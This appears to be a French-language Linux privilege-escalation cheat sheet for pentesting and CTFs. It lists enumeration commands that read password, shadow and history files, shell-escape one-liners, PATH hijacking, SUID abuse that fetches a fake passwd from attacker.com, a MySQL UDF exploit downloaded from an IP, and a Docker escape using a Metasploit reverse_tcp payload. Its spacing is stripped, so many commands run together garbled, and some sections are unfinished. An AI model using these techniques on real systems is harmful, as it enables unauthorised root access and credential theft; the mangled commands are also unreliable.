hostnamewhoamiidifconfiguname-auname-m#chercher des exploits sur la versionsearchsploit-wdistribsearchsploit-wkernel_version#mots de passe stockรฉqscat/etc/passwd#Tables ARParp-a#config rรฉseau/sbin/ifconfig-a; cat/etc/network/interfaces; cat/etc/sysconfig/network; cat/etc/resolv.conf#Variables d'environnementcat/etc/profile; cat/etc/bashrc; cat~/.bash_profile; cat~/.bashrc; cat~/.bash_logout; env; set#historiqueshistory; cat~/.bash_history; cat~/.nano_history; cat~/.atftp_history; cat~/.mysql_history; cat~/.php_history#Chercher des fichiers de conf modifiablesfind/etc/-writable-typef2>/dev/null#Cherches les fichiers avec permissions SUID et GUIDfind/-perm-g=s-o-perm-4000!-typel-maxdepth6-execls-ld{} \; 2>/dev/nullfind/-perm-1000-typed2>/dev/nullfind/-perm-g=s-typef2>/dev/null#Vรฉrifier que l'OS accorde bien les priv par dรฉfauts ร tous les utilisateurs authentifiรฉs.#UMASK doit avoir pour valeur 077 est ne doit pas รชtre commentรฉ.#Si ce n'est pas le cas, un utilisateur pourrait accรจder ร des fichiers qui ne lui appartiennent pas.grep-i"umask"/etc/login.defs#Vรฉrifier si le mot de passe est bien chiffrรฉ.#Si le mot de passe de root ne commence pas par "password_pbkdf2", il s'agit d'une mauvaise configgrep-ipassword/boot/grub/grub.cfg#Vรฉrifier que l'OS ne dรฉtient pas d'UID's doublons pour les utilisateurs interactifs.awk-F":"'list[$3]++{print $1, $3}'/etc/passwd#Vรฉrifier que le groupe "sudo" ne contienne que des utilisateurs lรฉgitimesgrepsudo/etc/group#Vรฉrifier qu'il y a bien un timeout d'activรฉ pour dรฉconnecter les sessions inactives.grep-E"\bTMOUT=[0-9]+"/etc/bash.bashrc/etc/profile.d/*#Vรฉrifier si le package vlock est installรฉdpkg-l|grepvlock#Vรฉrifier que l'OS force la durรฉe de vie minimum d'un mot de passe ร 24h.#Le cas contraire peut permettre ร un utilisateur de changer de mot de passe autant de fois qu'il veut.#Ce qui peut leur permettre de contourner la politique de mot de passe et repasser ร leur ancien mot de passe.grep-i^pass_min_days/etc/login.defs#Vรฉrifier si l'execution de programme est activรฉ#Ubuntudpkg-l|grepapparmorsystemctlis-activeapparmor.servicerรฉponseattendue:activesystemctlis-enabledapparmor.servicerรฉponseattendue:enable#RedHat, CentOSsestatus#Vรฉrifier si le firewall est correctement configurรฉss-l46utufwstatus#Vรฉrifier si les disques sont chiffrรฉsmore/etc/crypttab#Vรฉrifier l'implรฉmentation d'ASLR.sysctlkernel.randomize_va_spacerรฉponseattendue:kernel.randomize_va_space=2cat/proc/sys/kernel/randomize_va_spacerรฉponseattendue:2#Vรฉrifier la prรฉsence du package SSHsudodpkg-l|grepopenssh#Vรฉrifier si le service sshd est actif et chargรฉsystemctlstatussshd.service|egrep-i"(active|loaded)"#Vรฉrifier si X11Forwarding est activรฉ dans les parametres SSHgrep-irx11forwarding/etc/ssh/sshd_config*|grep-v"^#"rรฉsponseattendue:X11Forwardingno#Vรฉrifier si des connexions inattendues ou automatiques au SSH sont possibles.egrep-r'(Permit(.*?)(Passwords|Environment))'/etc/ssh/sshd_configrรฉponsesattendues:PermitEmptyPasswordsnoPermitUserEnvironmentno#Vรฉrifier le chiffrement SSHgrep-r'Ciphers'/etc/ssh/sshd_config*rรฉsponseattendue:Ciphersaes256-ctr,aes192-ctrouaes128-ctrgrep-irmacs/etc/ssh/sshd_config*rรฉponseattendue:MACshmac-sha2-512ouhmac-sha2-256#Vรฉrifier si le timeout de session SSH est en dessous de 600 soit 10 minutessudogrep-irclientalive/etc/ssh/sshd_config*rรฉponseattendue:ClientAliveInterval600ClientAliveCountMax1#Vรฉrifiez que les rรฉpertoires de bibliothรจque ร l รฉchelle du systรจme "/lib", "/lib64" et "/usr/lib" appartiennent au groupe root.
find/lib/usr/lib/lib64!-grouproot-typed-execstat-c"%n %G"'{}' \;#Vรฉrifier si le null password est autorisรฉgrepnullok/etc/pam.d/common-password#Vรฉrifier si il y a des mdp vides dans /etc/shadowawk-F:'!$2 {print $1}'/etc/shadow#Vรฉrifier la politique de rotation de mot de passe des utilisateurschage-l<username>|grepexpires#Vรฉrifier que la rรฉutilisation de mot de passe ne peut pas se faire avant aux moins 5 gรฉnรฉrationsgrep-iremember/etc/pam.d/common-password#Vรฉrifier la politique de mots de passe#Vรฉrifier que la lib pwquality est installรฉedpkg-llibpam-pwquality#Vรฉrifier que l'usage du package est bien activรฉgrep-ienforcing/etc/security/pwquality.confcat/etc/pam.d/common-password|greprequisite|greppam_pwqualityrรฉponseattendue:passwordrequisitepam_pwquality.soretry=3grep-i"lcredit"/etc/security/pwquality.confrรฉponseattendue:lcredit=-1grep-i"dcredit"/etc/security/pwquality.confrรฉponseattendue:dcredit=-1grep-i"ucredit"/etc/security/pwquality.confrรฉponseattendue:credit=-1grep-i"ocredit"/etc/security/pwquality.confrรฉponseattendue:credit=-1grep-i"difok"/etc/security/pwquality.confrรฉponseattendue:difok=8grep-iminlen/etc/security/pwquality.confrรฉponseattendue:minlen=15#Vรฉrifier si la lib "cracklib" permettant d'empรชcher l'usage de mots du dictionnaire dans les mdp est installรฉegrepdictcheck/etc/security/pwquality.confrรฉponseattendue:dictcheck=1#Vรฉrifier que les logs system ne sont accessibles qu'aux utilisteurs du groupe "adm"sudostat-c"%n %G"/var/log/syslogrรฉponseattendue:/var/log/syslogadm#Vรฉrifier que l'accรจs aux fichiers de /var/log soit au mode 750 ou moins permissifstat-c"%n %a"/var/log#Vรฉrifiez qu'il y ai un dรฉlai d'au moins 4 secondes entre l'invite de connexion et l'authentication failedgreppam_faildelay/etc/pam.d/common-auth#Vรฉrifier que le dump du kernel soit dรฉsactivรฉsystemctlis-activekdump.service#Vรฉrifier que la connexion directe au compte root soit dรฉsactivรฉpasswd-Sroot#Vรฉrifier qu'il n'est pas possible de reboot le syteme avec Ctrl-Alt-Delgreplogout/etc/dconf/db/local.d/*rรฉponseattendue:logout=''
Les systรจmes Linux nous fournissent diffรฉrents รฉditeurs. (ed, ne, nano, pico, vim etc)
Certains d'entre eux fournissent des fonctionnalitรฉs tierces d'exรฉcution de commande et de navigation dans les fichiers. Les รฉditeurs comme "vim" nous fournissent l'une des techniques les plus connues pour contourner les restrictions d'un shell.
Vim a une fonctionnalitรฉ permettant d'exรฉcuter des scripts et des commandes ร l'intรฉrieur. Si vim est disponible, ouvrez-le et lancez la commande suivante:
:!/bin/ls-l
Cela aura pour effet d'exรฉcuter la commande ls -l et de bypasser la restriction sur la commande ls par exemple.
Il s'agit d'un exemple, on peut donc utiliser cette technique pour n'importe quelle commande.
Exemple pour lancer un shell qui ne contiendra donc pas de restrictions:
:!/bin/sh
Mรชme technique avec l'รฉditeur ed:
!'/bin/sh'
Avec less ou man:
$less.bashrc!'sh'$manls!'sh'
avec awk:
$awk'BEGIN {system("/bin/sh")}'
Avec expect:
$expectexpect1.1> spawnshspawnsh20302expect1.2> shou$expect-c'spawn sh'-ispawnshexpect1.1> sh
Avec python:
$python-c'import pty; pty.spawn("/bin/sh")'
Avec Ruby:
$ irbirb(main):002:0>exec'/bin/sh'
Avec Perl:
$perl-e'system("sh -i");'
Avec PHP:
$php-aInteractivemodeenabledphp> exec("sh -i");
Path variable
# Crรฉer un faux catecho"bin/bash">/tmp/catchmod777/tmp/catecho $PATH/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin# Mettre ร jour le PATHexport PATH=/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin# Aller dans le dossier restreint/usr/sbin/cat.private.txt
Binary symlink
[TODO]
Capabilities
[TODO]
SUID
/usr/bin/cp
# Si cp a les droits SUID, on peut copier un fichier ร privilรจges dans un autre dossier pour le lirecp/etc/passwd/tmp# Crรฉer un nouveau compteopensslpasswd-1-salt<username><password># Puis crรฉer un faux /etc/passwd et l'upload dans la cible et utiliser cpwgethttp://attacker.com/passwdcppasswd/etc/passwd
# Lancer des commande avec un autre utilisateurtouchuser123finduser123-exec"whoami" \;finduser123-exec"/bin/sh" \;# Autre mรฉthodefind/homeโexecchmodu+s/usr/bin/wget \;lsโla/usr/bin/wgetcat/etc/passwd# Ensuite crรฉer un fichier passwd et l'upload
/usr/bin/micro
cat/etc/passwd|/usr/bin/micro# Puis crรฉer un nouvel utilisateuropensslpasswd-1-salt<username><password>
/usr/bin/mawk
mawk'BEGIN {system("/bin/sh")}'
LD_Preload
Si la rรฉponse ร un "sudo -l" renvoie la prรฉsence de la variable d'environnement LD_Preload, il est possible d'รฉlever ces privilรจges comme ceci:
1) Crรฉer un script shell.c contenant les lignes suivantes
3) Lancer un des binaires authorisรฉs avec sudo sans mot de passe en utilisant LD_Preload.
$ sudo LD_PRELOAD=/path/to/shell.so <binaire>
NFS Root Squash
Reconnaissance:
$ cat /etc/exports | grep no_root_squash
Si un rรฉpertoire est partagรฉ avec ce paramรจtre, cela veut dire que toutes les actions faitent dans ce rรฉpertoire partagรฉ est fait en tant que "root"
On peut alors monter le repรฉrtoire partagรฉ sur notre machine hรดte:
# Si MySQL fonctionne avec les droits de super utilisateursys_exec('usermod -a -G admin username')Selectsys_exec('whoami');selectsys_exec('/bin/bash');Selectsys_eval('whoami');
# Si MySQL fonctionne avec les droits super user en version <5https://www.exploit-db.com/exploits/1518/# Rechercher et compiler l'exploitsearchsploitโm1518.cgcc-g-shared-Wl,-soname,1518.so-o1518.so1518.c-lcwgethttp://192.168.1.109/1518.sochmod7771518.somysqlโurootโpusemysql;# Exploitationcreatetablefoo(lineblob);insertintofoovalues(load_file('/tmp/1518.so'));select*fromfoointodumpfile'/usr/lib/mysql/plugin/1518.so';createfunctiondo_systemreturnsintegersoname'1518.so';selectdo_system('chmod u+s /usr/bin/find');
Docker
# Si l'utilisateur peut lancer dockerdockerrunโv/root:/hack-tdebian:jessie/bin/sh-c'ls -al /hack'# Docker privesc avec metasploitmsf>useexploit/linux/local/docker_daemon_privilege_escalationmsfexploit(linux/local/docker_daemon_privilege_escalation) >setlhost192.168.1.116msfexploit(linux/local/docker_daemon_privilege_escalation) >setpayloadlinux/x86/meterpreter/reverse_tcpmsfexploit(linux/local/docker_daemon_privilege_escalation) >setsession1msfexploit(linux/local/docker_daemon_privilege_escalation) >run
Cron
Overwrite du fichier
Si on a les droits pour overwrite le fichier executรฉ, alors il est possible de crรฉer un shell facilement ร la place du fichier original.
Overwrite du chemin
Si cron cherche le fichier sur plusieurs chemins et que le chemin complet du script d'origine n'est pas dรฉfini dans crontab, si on a les droits pour crรฉer un fichier sur l'un des chemins recherchรฉ en premier, on est alors capable de crรฉer un fichier du mรชme nom dans celui-ci.
LinPEAS
LinPEAS est un script qui recherche les chemins possibles pour รฉlever les privilรจges sur les hรดtes Linux/Unix*/MacOS.
LinuxSmartEnumeration est un outils d'รฉnumรฉration Linux pour le pentesting et les CTF inspirรฉ de l'outil LinEnum. Contrairement ร LinEnum, LSE tente d'exposer progressivement l'information en fonction de son importance d'un point de vue privรฉ.
Lynis est un outil dโaudit de sรฉcuritรฉ pour les systรจmes basรฉs sur UNIX comme Linux, macOS, BSD et autres. Il effectue une analyse de sรฉcuritรฉ approfondie et fonctionne sur le systรจme lui-mรชme. Lโobjectif principal est de tester les dรฉfenses de sรฉcuritรฉ et de fournir des conseils pour renforcer davantage le systรจme.
Eviltree est un remake python3 de la commande classique "tree" avec la fonctionnalitรฉ supplรฉmentaire de rechercher des mots-clรฉs/regex fournis par l'utilisateur dans les fichiers, en mettant en รฉvidence ceux qui contiennent des correspondances.